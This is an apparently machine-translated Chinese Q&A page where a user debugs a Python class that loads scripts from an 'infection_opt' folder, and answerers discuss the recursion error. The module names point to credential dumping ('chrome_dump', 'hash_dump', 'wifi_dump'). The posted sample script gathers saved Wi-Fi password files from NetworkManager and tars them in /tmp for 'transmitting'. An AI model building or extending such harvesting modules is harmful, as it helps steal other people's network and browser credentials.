2017-08-05 63 views
1

首先让我解释一下我正在尝试做什么,我想创建一个类来从某个目录(如果该文件存在)导入文件, ,并将该文件作为脚本运行。例如:创建一个类来导入脚本并运行该类中的脚本

class RunScript(object): 

    def __init(self, script): 
     if script in someListThatContainsScriptNamesProbablyJSONFile: 
      self.script = # do something fancy and import the script 

    def run_exec(self): 
     # do something and execute the script maybe subprocess? 

所以我的问题是,我该如何成功地从这个类运行脚本?我真的不想使用子流程,因为我认为它可能看起来有点乱,有另一种方法可以做到这一点吗?如果不是,那么使用子处理就完全没问题。

我试过到目前为止:

import os 


__all__ = [ 
    "ask_pass", "chrome_dump", "firefox_dump", 
    "hash_dump", "wifi_dump" 
] 
script_path = "{}/opts/infection_opt/{}" 


class ExecuteInfection(object): 

    @staticmethod 
    def __fix_filename(filename): 
     if ".py" in filename: 
      ext_index = filename.index(".") 
      return filename[ext_index:-1] 

    def __init__(self, script): 
     if ExecuteInfection(script).__fix_filename(script) in __all__: 
      self.script = __import__(script_path.format(os.getcwd(), script)) 
     else: 
      raise ImportError("{} is not a valid infection operation script.".format(script)) 

然而,这在运行时,我得到一个错误说:

if ExecuteInfection(script).__fix_filename(script) in __all__: 
    RuntimeError: maximum recursion depth exceeded 

在参考意见,回答,在这里是我将要导入的脚本之一

import os 
import tarfile 
import string 
import random 


def _find_config_files(path="/etc/NetworkManager/system-connections"): 
    """ 
     Find the configuration files that contain the Wifi passwords 

     > :param path: path to the configuration files 
     > :return: True and the files or False and None if nothing found 

     Example: 
     >>> _find_config_files() 
     (True, set(['AgE1a2', 'AISNetwork2', 'BBB1ffC9ce', 'AISNetwork1'])) 

    """ 
    found_files = set() 
    if os.path.exists(path): 
     for item in os.listdir(path): 
      found_files.add(os.path.join(path, item)) 
     return True, found_files 
    return False, None 


def _make_tar(status, _file_start="nm_log_{}.tar.gz", tmp_dir="/tmp/{}"): 
    """ 
     Create a tar file and store it in the temp directory for processing 
     and transmitting 

     > :param status: the status and the files found 
     > :param _file_start: the start of the name of the tar file 
     > :param tmp_dir: path to the temp directory to be formatted 
     > :return: full path to the created filename or None 
    """ 

    def __rand_filename(_start, ints=string.digits, length=4): 
     """ 
      Create a random filename for the tarfile 

      > :param _start: start of the filename 
      > :param ints: the acceptable numbers to be used 
      > :param length: the length of the filename 
      > :return: a random filename 

      Example 
      >>> _make_tar((True, set(["test.txt"]))).__rand_filename(_file_start) 
      nm_log_4768.tar.gz 
     """ 
     _finalize = [random.choice(ints) for _ in range(length)] 
     return _start.format(''.join(_finalize)) 

    filename = __rand_filename(_file_start) 
    file_path = tmp_dir.format(filename) 

    if status[0]: 
     with tarfile.open(file_path, "w:gz") as tar: 
      for f in status[1]: 
       tar.add(f) 

     return file_path 
    else: 
     print(
      "no tarball could be created, it appears that no files could be found " 
      "assuming that the files don't exist and this person has no idea what " 
      "the internet is, get out now." 
     ) # todo:/ change to log 
     return None 


def main(): 
    """ main function of the script """ 
    data_found = _find_config_files() 
    filename = _make_tar(data_found) 
    if filename is not None: 
     return filename 


if __name__ == "__main__": 
    main() 
+0

您尝试导入自制的脚本?它看起来像这个问题,而不是在这些脚本内:使用“哑”使我认为你正在试图删除的东西,你可能会做递归。 有没有办法使它超过999个递归步骤?正如错误消息所述,python有一个限制。 –

+0

换句话说,如果你有这个错误,看到导入这个错误的脚本将会很好。 –

+0

@Alceste_对于延迟响应抱歉,我可以继续发布我正在导入的其中一个脚本。一秒 –

回答

0

正如我在评论中所说的,问题似乎在于您正在导入的脚本中,而不是您的导入算法。 ()当一个python脚本被导入时,它会被执行,所以如果你的脚本中没有类或函数的东西,并且这些东西都失败了,那么这个错误信息可能会指向你的导入而不是问题。

但是,它也可能是其他的东西(例如,真正疯狂的文件结构,导入大量的强制导入模块需要通过数百次调用),所以这将有助于查看您的脚本导入的确如此(你可以仔细检查导入的内容,python的某些实现可能不会阻止同一模块的递归导入)

有了这些信息,可以为你提供更好的insig ht正在发生的事情(这是一个答案,因为我需要一些时间,但是我希望你能让我用比简单的建议更好的东西来编辑它,比如一个实际的解决方案)。

你说你不想使用子流程,但是如果你不尝试直接导入脚本,你可能会想尝试如果问题仍然发生。尝试:

  1. 读取文件的文本,然后使用 compile function生成字节代码,那么你将能够与沿EXEC东西线执行(但不要让它成为你最后的除非你只是从代码中自己生成脚本,否则用户可以修改它...)

  2. 使用带有沿着python full/path/to/script行的命令的系统作为参数。 (http://docs.python.org/library/os.html#os.system

感谢您对这些人的回报,希望它能帮助您找到问题所在。

+0

我添加了一个脚本的问题,我希望有所帮助。这些脚本实际上并没有从内置软件包中进行任何导入,我认为这不应该是一个问题。我认为系统调用会使代码看起来有点不好,但总是值得一试。感谢您的回答和想法 –

+0

鉴于您给我们的代码,我似乎无法找到导致文件导入存在递归问题的原因。 。 。 你试过其他的东西吗?它们是否工作?它们确实可能被某些人认为是不好的代码,但它们在试图确定问题更准确的地方时非常有用。 :P –

相关问题